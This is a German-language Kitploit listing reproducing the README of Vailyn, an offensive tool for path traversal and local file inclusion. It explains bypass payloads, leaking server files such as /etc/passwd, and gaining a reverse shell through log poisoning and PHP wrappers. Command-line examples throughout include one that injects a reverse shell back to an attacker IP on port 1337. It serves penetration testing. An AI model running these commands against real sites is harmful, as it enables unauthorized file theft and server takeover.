Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Vailyn — Ein phasenweises, ausweichendes Tool zum Scannen und Ausnutzen von Path Traversal und LFI in Python | Kitploit
Tools/GitHubGitHub/vainlystrain/vailyn
SchwachstellenscannerPayload-GenerierungExploitationWebanwendungs-ExploitationInformationsbeschaffungPenetrationstests
GitHubvainlystrain/vailyn

Vailyn

Ein phasenweises, ausweichendes Tool zum Scannen und Ausnutzen von Path Traversal und LFI in Python

Repository anzeigen
20024vor 4 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen


Vailyn


Phasenbasierte Path-Traversal- und LFI-Angriffe

Vailyn 3.0

Seit v3.0 unterstützt Vailyn LFI-PHP-Wrapper in Phase 1. Verwende --lfi, um sie in den Scan einzubeziehen.

Über

Vailyn ist ein mehrphasiges Tool zur Schwachstellenanalyse und -ausnutzung für Path-Traversal- und File-Inclusion-Schwachstellen. Es ist darauf ausgelegt, so leistungsfähig wie möglich zu sein, und bietet ein breites Arsenal an Filterumgehungstechniken.

Wie funktioniert es?

Vailyn arbeitet in zwei Phasen. Zunächst prüft es, ob die Schwachstelle vorhanden ist. Dies geschieht durch den Versuch, auf /etc/passwd (oder eine benutzerdefinierte Datei) zuzugreifen, mit allen seinen Umgehungs-Payloads. Durch die Analyse der Antwort werden Payloads, die funktioniert haben, von den anderen getrennt.

Jetzt kann der Benutzer frei wählen, welche Payloads verwendet werden sollen. Nur diese Payloads werden in der zweiten Phase verwendet.

Die zweite Phase ist die Ausnutzungsphase. Nun wird versucht, alle möglichen Dateien vom Server mit einem Datei- und einem Verzeichniswörterbuch zu leaken. Die Suchtiefe und das Verzeichnispermutationsniveau können über Argumente angepasst werden. Optional können gefundene Dateien heruntergeladen und im Beuteordner gespeichert werden. Alternativ wird versucht, eine Reverse-Shell auf dem System zu erhalten, sodass der Angreifer die vollständige Kontrolle über den Server erlangt.

Derzeit unterstützt es mehrere Angriffsvektoren: Injection über Query, Pfad, Cookie und POST-Daten.

Warum die Phasentrennung?

Die Trennung in mehrere Phasen dient der enormen Leistungssteigerung des Tools. In früheren Versionen wurde jede Datei-Verzeichnis-Kombination mit jedem Payload überprüft. Dies führte zu einem enormen Overhead, da Payloads immer wieder verwendet wurden, obwohl sie für die aktuelle Seite nicht funktionierten.

Installation

Empfohlene und getestete Python-Versionen sind 3.7+, aber es sollte auch mit Python 3.5 und Python 3.6 funktionieren. Um Vailyn zu installieren, lade das Archiv aus dem Release-Tab herunter oder führe Folgendes aus:

root@kitploit:~
$ git clone https://github.com/VainlyStrain/Vailyn

Sobald es auf Ihrem System ist, müssen Sie die Python-Abhängigkeiten installieren.

Unix-Systeme

Auf Unix-Systemen reicht es aus, Folgendes auszuführen:

root@kitploit:~
$ pip install -r requirements.txt   # --user

Windows

Einige Bibliotheken, die Vailyn verwendet, funktionieren unter Windows nicht gut oder können nicht installiert werden.

Wenn Sie Windows verwenden, installieren Sie die in Vailyn\·›\requirements-windows.txt aufgeführten Abhängigkeiten mit pip.

Wenn Twisted nicht installiert werden kann, gibt es eine inoffizielle Version hier, die unter Windows gebaut werden sollte. Beachten Sie jedoch, dass dies ein Download von Drittanbietern ist und die Integrität nicht unbedingt gewährleistet ist. Nach erfolgreicher Installation sollte die erneute Ausführung von pip für requirements-windows.txt funktionieren.

Letzte Schritte

Wenn Sie das Reverse-Shell-Modul vollständig nutzen möchten, müssen Sie sshpass, ncat und konsole installiert haben. Die Paketnamen variieren je nach Linux-Distribution. Unter Windows müssen Sie den Listener vorher manuell starten. Wenn Sie konsole nicht mögen, können Sie in core/config.py einen anderen Terminalemulator angeben.

Das war's! Starten Sie Vailyn, indem Sie in das Installationsverzeichnis wechseln und Folgendes ausführen:

root@kitploit:~
$ python Vailyn -h

Verwendung

Vailyn hat drei obligatorische Argumente: -v VIC, -a INT und -p2 TP P1 P2. Je nach -a können jedoch weitere Argumente erforderlich sein.

root@kitploit:~
   ,                \                  /               , 
     ':.             \.      /\.     ./            .:'
        ':;.          :\ .,:/   ''. /;        ..::'
           ',':.,.__.'' '          ' `:.__:''.:'
              ';..                        ,;'     *
       *         '.,                   .:'
                    `v;.            ;v'        o
              .      '  '..      :.' '     .
                     '     ':;, '    '
            o                '          .   :        
                                           *
                         | Vailyn |
                      [ VainlyStrain ]
    
Vsynta Vailyn -v VIC -a INT -p2 TP P1 P2 
        [-p PAM] [-i F] [-Pi VIC2]
      [-c C] [-n] [-d I J K]
       [-s T] [-t] [-L]
  [-l] [-P] [-A] 

obligatorisch:
  -v VIC, --victim VIC  Ziel des Angriffs, Teil 1 [vor Payload]
  -a INT, --attack INT  Angriffsart (int, 1-5, oder A)

    A|  Spider (alle)       2|  Pfad               5|  POST-Daten, json
    P|  Spider (partiell)   3|  Cookie
    1|  Query-Parameter     4|  POST-Daten, plain

  -p2 TP P1 P2, --phase2 TP P1 P2
                        Angriff in Phase 2 und benötigte Parameter

┌[ Werte ]──────────────┬────────────────────┐
│ TP      │ P1          │ P2                 │
├─────────┼─────────────┼────────────────────┤
│ leak    │ File Dict   │ Directory Dict     │
│ inject  │ IP Addr     │ Listening Port     │
│ implant │ Source File │ Server Destination │
└─────────┴─────────────┴────────────────────┘

zusätzlich:
  -p PAM, --param PAM   Abfrageparameter oder POST-Daten für --attack 1, 4, 5
  -i F, --check F       Datei, die in Phase 1 überprüft werden soll (Std.: etc/passwd)
  -Pi VIC2, --vic2 VIC2 Angriffsziel, Teil 2 [nach-Payload]
  -c C, --cookie C      Cookie zum Anhängen (im Header-Format)
  -l, --loot            Gefundene Dateien in den Beuteordner herunterladen
  -d I J K, --depths I J K   Tiefen (I: Phase 1, J: Phase 2, K: Permutationsstufe)
  -h, --help            Dieses Hilfemenü anzeigen und beenden
  -s T, --timeout T     Anforderungs-Timeout; stabiler Schalter für Arjun
  -t, --tor             Angriffe durch das Tor-Anonymitätsnetzwerk leiten
  -L, --lfi             Zusätzlich PHP-Wrapper zum Leaken von Dateien verwenden
  -n, --nosploit        Phase 2 überspringen (benötigt kein -p2 TP P1 P2)
  -P, --precise         Exakte Tiefe in Phase 1 verwenden (kein Bereich)
  -A, --app             Vailyns Qt5-Oberfläche starten

Entwicklung:
  --debug               Jeden versuchten Pfad anzeigen, auch 404er.
  --version             Programmversion anzeigen und beenden.
  --notmain             notify2-Absturz im Unterprozessaufruf vermeiden.

Info:
  to leak files using absolute paths: -d 0 0 0
  to get a shell using absolute paths: -d 0 X 0

Vailyn unterstützt derzeit 5 Angriffsvektoren und bietet einen Crawler zur Automatisierung aller. Der durchgeführte Angriff wird durch das Argument -a INT identifiziert.

root@kitploit:~
INT        Angriff
----       -------
1          abfragebasierter Angriff  (https://site.com?file=../../../)
2          pfadbasierter Angriff   (https://site.com/../../../)
3          cookie-basierter Angriff (sammelt die Cookies für Sie)
4          normale POST-Daten     (ELEM1=VAL1&ELEM2=../../../)
5          JSON-POST-Daten      ({"file": "../../../"})
A          Spider              Alle URLs der Seite mit allen Vektoren abrufen und analysieren
P          partieller Spider   Alle URLs der Seite nur mit ausgewählten Vektoren abrufen und analysieren

Sie müssen auch ein Angriffsziel angeben. Dies geschieht über -v VIC und -Pi VIC2, wobei -v der Teil vor dem Injektionspunkt ist und -Pi der Rest.

Beispiel: Wenn die endgültige URL so aussehen soll: https://site.com/download.php?file=<ATTACK>&param2=necessaryvalue, können Sie -v https://site.com/download.php und -Pi &param2=necessaryvalue angeben (und -p file, da es sich um einen Abfrageangriff handelt).

Wenn Sie PHP-Wrapper (wie php://filter) in den Scan einbeziehen möchten, verwenden Sie das Argument --lfi. Am Ende von Phase 1 wird ein zusätzliches Auswahlmenü mit den funktionierenden Wrappern angezeigt (falls vorhanden).

Wenn sich die angegriffene Seite hinter einer Anmeldeseite befindet, können Sie ein Authentifizierungs-Cookie über -c COOKIE bereitstellen. Wenn Sie über Tor angreifen möchten, verwenden Sie --tor.

Phase 1

Dies ist die Analysephase, in der funktionierende Payloads von den anderen getrennt werden.

Standardmäßig wird /etc/passwd nachgeschlagen. Wenn der Server nicht Linux verwendet, können Sie eine benutzerdefinierte Datei mit -i DATEINAME angeben. Beachten Sie, dass Sie Unterverzeichnisse in DATEINAME angeben müssen. Sie können die Suchtiefe mit dem ersten Wert von -d ändern (Standard=8). Wenn Sie absolute Pfade verwenden möchten, setzen Sie die erste Tiefe auf 0.

Phase 2

Dies ist die Ausnutzungsphase, in der Vailyn versucht, so viele Dateien wie möglich zu leaken oder mit verschiedenen Techniken eine Reverse-Shell zu erlangen.

Die Suchtiefe in Phase 2 (die maximale Anzahl der zurückgelegten Ebenen) wird durch den zweiten Wert des Arguments -d angegeben. Die Stufe der Unterverzeichnispermutation wird durch den dritten Wert von -d festgelegt.

Wenn Sie mit absoluten Pfaden angreifen und den Leak-Angriff durchführen, setzen Sie alle Tiefen auf 0. Wenn Sie eine Reverse-Shell erlangen möchten, stellen Sie sicher, dass die zweite Tiefe größer als 0 ist.

Durch Angabe von -l zeigt Vailyn die Dateien nicht nur im Terminal an, sondern lädt sie auch herunter und speichert sie im Beuteordner.

Wenn Sie eine ausführliche Ausgabe wünschen (jede Ausgabe anzeigen, nicht nur gefundene Dateien), können Sie --debug verwenden. Beachten Sie, dass die Ausgabe sehr unübersichtlich wird; dies ist im Grunde nur eine Debug-Hilfe.

Um den Brute-Force-Angriff durchzuführen, müssen Sie -p2 leak FIL PFAD angeben, wobei

  • FIL eine Wörterbuchdatei ist, die nur Dateinamen enthält (z. B. index.php)
  • PFAD eine Wörterbuchdatei ist, die nur Verzeichnisnamen enthält. Vailyn kümmert sich um die Verzeichnispermutation, sodass Sie nur ein Verzeichnis pro Zeile benötigen.

Um eine Reverse-Shell durch Code-Injection zu erlangen, können Sie -p2 inject IP PORT verwenden, wobei

  • IP Ihre lauschende IP ist
  • PORT der Port ist, auf dem Sie hören möchten.

WARNUNG

Vailyn verwendet Log-Poisoning-Techniken. Daher wird IHRE ANGEGEBENE IP IN DEN SERVER-LOGS SICHTBAR SEIN.

Die Techniken (funktionieren nur für LFI-Inklusionen):

  • Die Einbindung von /proc/self/environ funktioniert nur auf veralteten Servern
  • Apache + Nginx Log Poisoning & inclusion
  • SSH Log Poisoning
  • vergiftete Mail-Einbindung
  • Wrapper
    • expect://
    • data:// (plain & b64)
    • php://input

Vermeidung von Fehlalarmen

Um echte Ergebnisse von Fehlalarmen zu unterscheiden, führt Vailyn die folgenden Prüfungen durch:

  • Überprüfung des Statuscodes der Antwort
  • Überprüfung, ob die Antwort mit einer vor Angriffsbeginn aufgenommenen identisch ist: Dies ist nützlich, z. B. wenn der Server 200 zurückgibt, aber die Payload-Eingabe ignoriert oder eine Standardseite zurückgibt, wenn die Datei nicht gefunden wird.
  • ähnlich wie #2, eine zusätzliche Prüfung für die Behandlung von GET-Abfrageparametern (nützlich, wenn der Server einen Fehler zurückgibt, dass ein benötigter Parameter fehlt)
  • Überprüfung auf leere Antworten
  • Überprüfung, ob häufige Fehlersignaturen im Antwortinhalt enthalten sind
  • Überprüfung, ob der Payload in der Antwort enthalten ist: Dies ist eine zusätzliche Prüfung für den Fall, dass der Server mit 200 auf nicht vorhandene Dateien antwortet und den Payload in einer Nachricht widerspiegelt (z. B. ../../secret nicht gefunden)
  • Überprüfung, ob die gesamte Antwort in der Initialisierungsprüfantwort enthalten ist: Nützlich, wenn der Server eine Standard-Inklusion hat, die bei 404 verschwindet
  • für -a 2 eine zusätzliche Prüfung, ob der Antwortinhalt mit dem Inhalt der Server-Stamm-URL übereinstimmt
  • REGEX-Prüfung auf /etc/passwd, wenn dies als Suchdatei verwendet wird

Beispiele

  • Einfacher Query-Angriff, Leaken von Dateien in Phase 2: $ Vailyn -v "http://site.com/download.php" -a 1 -p2 leak dicts/files dicts/dirs -p file --> http://site.com/download.php?file=../INJECT

  • Query-Angriff, aber ich weiß, dass eine Datei file.php genau 2 Ebenen über dem Inklusionspunkt existiert: $ Vailyn -v "http://site.com/download.php" -a 1 -p2 leak dicts/files dicts/dirs -p file -i file.php -d 2 X X -P Dies wird die Dauer von Phase 1 erheblich verkürzen, da es sich um einen gezielten Angriff handelt.

  • Einfacher Pfadangriff: $ Vailyn -v "http://site.com/" -a 2 -p2 leak dicts/files dicts/dirs --> http://site.com/../INJECT

  • Pfadangriff, aber ich benötige Query-Parameter und Tag: $ Vailyn -v "http://site.com/" -a 2 -p2 leak dicts/files dicts/dirs -Pi "?token=X#title" --> http://site.com/../INJECT?token=X#title

  • Einfacher Cookie-Angriff: $ Vailyn -v "http://site.com/cookiemonster.php" -a 3 -p2 leak dicts/files dicts/dirs Sammelt Cookies und Sie können das Cookie auswählen, das Sie vergiften möchten

Demo

asciicast Vailyns Crawler analysiert eine verdammt anfällige Webanwendung. LFI-Wrapper sind nicht aktiviert.

GUI-Demonstration (v2.2.1-5)

Mögliche Probleme

Einige Fehlalarme/Fehlalarme gefunden (oder andere Bugs/Verbesserungen melden): Bitte erstelle ein Issue!

Verhaltenskodex

Vailyn wird als offensives Webanwendungs-Audit-Tool bereitgestellt. Es verfügt über integrierte Funktionen, die potenzielle Schwachstellen in Webanwendungen aufdecken können, die böswillig ausgenutzt werden könnten.

DAHER SIND WEDER DER AUTOR NOCH DIE MITWIRKENDEN FÜR MISSBRAUCH ODER SCHÄDEN VERANTWORTLICH, DIE DURCH DIESES TOOLKIT ENTSTEHEN.

Durch die Nutzung dieser Software verpflichtet sich der Benutzer, die örtlichen Gesetze einzuhalten, kein System eines anderen ohne ausdrückliche Erlaubnis des Eigentümers oder mit böswilliger Absicht anzugreifen.

Im Falle eines Verstoßes ist nur der Endbenutzer, der ihn begangen hat, für seine Handlungen verantwortlich.

Credits & Copyright

Vailyn: Copyright © VainlyStrain

Arjun: Copyright © s0md3v

Arjun wird nicht mehr mit Vailyn verteilt. Installieren Sie die neueste Version über pip.

Tool herunterladen
  • POST Plain-Angriff: $ Vailyn -v "http://site.com/download.php" -a 4 -p2 leak dicts/files dicts/dirs -p "DATA1=xx&DATA2=INJECT" infiziert DATA2 mit dem Payload

  • POST JSON-Angriff: $ Vailyn -v "http://site.com/download.php" -a 5 -p2 leak dicts/files dicts/dirs -p '{"file": "INJECT"}'

  • Angriff, aber Ziel befindet sich hinter einer Anmeldeseite: $ Vailyn -v "http://site.com/" -a 1 -p2 leak dicts/files dicts/dirs -c "sessionid=foobar"

  • Angriff, aber ich möchte eine Reverse-Shell auf Port 1337: $ Vailyn -v "http://site.com/download.php" -a 1 -p2 inject MEINE.IP.IST.XX 1337 # eine hohe Phase 2 Tiefe ist für Log-Injection nötig (startet für Sie einen ncat-Listener, wenn auf Unix)

  • Vollautomatisierung im Crawler-Modus: $ Vailyn -v "http://root-url.site" -a A Sie können hier auch andere Argumente wie Cookie, Tiefen, lfi und Suchdatei angeben

  • Vollautomatisierung, aber Arjun benötigt --stable: $ Vailyn -v "http://root-url.site" -a A -s ANY